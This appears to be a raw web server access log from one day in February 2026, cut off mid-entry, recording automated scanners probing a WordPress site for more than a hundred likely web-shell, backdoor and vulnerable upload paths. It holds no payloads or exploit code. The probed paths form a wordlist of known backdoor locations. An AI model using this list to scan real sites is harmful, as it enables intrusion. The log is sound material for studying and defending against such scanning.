[18/Feb/2026:03:21:27 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 188.191.160.134 - - [18/Feb/2026:04:23:20 +0300] "GET //wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 80.85.246.144 - - [18/Feb/2026:04:58:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 14.241.96.71 - - [18/Feb/2026:07:01:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 182.40.104.255 - - [18/Feb/2026:07:04:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.139.165 - - [18/Feb/2026:08:19:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 178.20.42.76 - - [18/Feb/2026:08:19:47 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 20.203.180.135 - - [18/Feb/2026:09:03:08 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 45.194.92.21 - - [18/Feb/2026:08:04:35 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 20.203.180.135 - - [18/Feb/2026:09:03:00 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.68.236.114 - - [18/Feb/2026:08:17:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.236.114 - - [18/Feb/2026:08:17:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 35.189.210.210 - - [18/Feb/2026:08:29:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 20.203.180.135 - - [18/Feb/2026:09:03:14 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:03:23 +0300] "GET /er.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:03:40 +0300] "GET /x2x.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:06:59 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:09:17 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:09:33 +0300] "GET /ftem.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:13:35 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:13:50 +0300] "GET /admiin.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:09 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:10 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:18 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:42 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:45 +0300] "GET /past1.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:57 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:43 +0300] "GET /cbrfo.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:47 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 62.113.116.213 - - [18/Feb/2026:09:20:12 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 20.203.180.135 - - [18/Feb/2026:09:20:49 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:06 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:51 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:51 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:54 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:55 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:59 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:23:42 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:24:08 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:24:23 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:29 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:47 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:58 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:27:01 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:27:03 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:27 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:06:45 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:07:49 +0300] "GET /login8.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:08:04 +0300] "GET /nnyvn.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:08:26 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:08:57 +0300] "GET /ya.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:21 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:28 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:38 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 52.247.48.139 - - [18/Feb/2026:09:18:30 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.203.180.135 - - [18/Feb/2026:09:22:31 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:33 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:33 +0300] "GET //wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:05 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:27:57 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:20 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:24 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:35 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:50 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:30:25 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:04:16 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:04:35 +0300] "GET /bc-456.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:07:34 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:08:14 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:08:43 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:10:02 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:11:29 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:13:21 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:01 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 43.157.168.43 - - [18/Feb/2026:09:14:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.203.180.135 - - [18/Feb/2026:09:14:38 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:38 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:02 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:08 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:14 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:38 +0300] "GET /hexx.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:20:57 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:01 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:23:28 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:02 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:34 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:27:16 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:42 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:03:46 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:03:56 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:06:33 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:09:12 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:15:16 +0300] "GET /trd.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:06 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:08 +0300] "GET /yos.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:11 +0300] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:14 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:42 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:53 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:59 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:20:34 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:20 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:08 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:37 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:29 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:53 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:36 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:37 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:40 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 35.189.210.210 - - [18/Feb/2026:09:05:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 20.203.180.135 - - [18/Feb/2026:09:06:52 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:09:54 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:10:18 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:12:27 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:15:45 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:25 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:35 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:19 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:08 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:23:11 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:23:11 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:24:52 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:24:52 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:24:52 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:13 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:01 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:28:14 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:16 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:07:24 +0300] "GET /lts.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:09:43 +0300] "GET /7wom.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:11:11 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:20 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:15:37 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:46 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:26 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:30 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:22:19 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:23:04 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:23:18 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:39 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:45 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:07:05 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:07:17 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:06 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:10 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:14 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:56 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:15:07 +0300] "GET /karak.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:32 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:20:23 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:41 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:19 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:21 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:51 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:26:42 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:27:48 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:03:34 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:06:18 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:08:31 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:13:04 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:27 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:44 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:14:48 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:15:29 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:00 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:16:57 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:51 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:17:51 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:18:21 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:26 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:31 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:51 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:19:54 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:20:08 +0300] "GET //xfile25.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:35 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:49 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:58 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:21:58 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:24:36 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:25:27 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:27:28 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:05 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:29:08 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:30:04 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.203.180.135 - - [18/Feb/2026:09:30:19 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 103.118.46.176 - - [18/Feb/2026:11:03:57 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 81.70.169.194 - - [18/Feb/2026:11:03:58 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 173.252.82.11 - - [18/Feb/2026:11:25:08 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 87.121.84.30 - - [18/Feb/2026:10:33:34 +0300] "GET /theme/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 217.154.234.180 - - [18/Feb/2026:13:22:19 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 74.248.34.156 - - [18/Feb/2026:14:08:03 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:20 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:08:33 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:30 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:12:24 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 120.240.178.169 - - [18/Feb/2026:11:49:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.4131.68 Safari/537.36 QIHU 360EE" 74.248.34.156 - - [18/Feb/2026:14:07:30 +0300] "GET /dox.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:21 +0300] "GET /55.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:11:58 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:12:02 +0300] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:12:54 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:13:02 +0300] "GET /RIP.php HTTP/1.1" 301 795 "-" "-" 89.110.99.186 - - [18/Feb/2026:12:46:30 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 49.234.192.248 - - [18/Feb/2026:13:09:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.248.34.156 - - [18/Feb/2026:14:06:39 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:43 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:46 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:58 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:07:38 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:07:50 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:07:53 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:11:09 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:11:35 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 115.45.43.81 - - [18/Feb/2026:11:49:13 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.4369.59 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 74.248.34.156 - - [18/Feb/2026:14:05:47 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:06:18 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:39 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:09:43 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:10:46 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [18/Feb/2026:14:11:43 +0300] 